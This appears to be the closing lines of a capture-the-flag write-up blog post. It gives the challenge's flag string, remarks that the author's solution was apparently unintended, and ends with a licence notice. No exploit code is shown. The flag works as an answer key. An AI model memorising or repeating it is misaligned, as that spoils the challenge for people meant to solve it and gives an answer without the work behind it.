HTB{l34ky_h4ndl3rs_4th3_w1n}

Judging by the flags, looks like my solution was unintended 😬

This post is licensed under CC BY 4.0 by the author.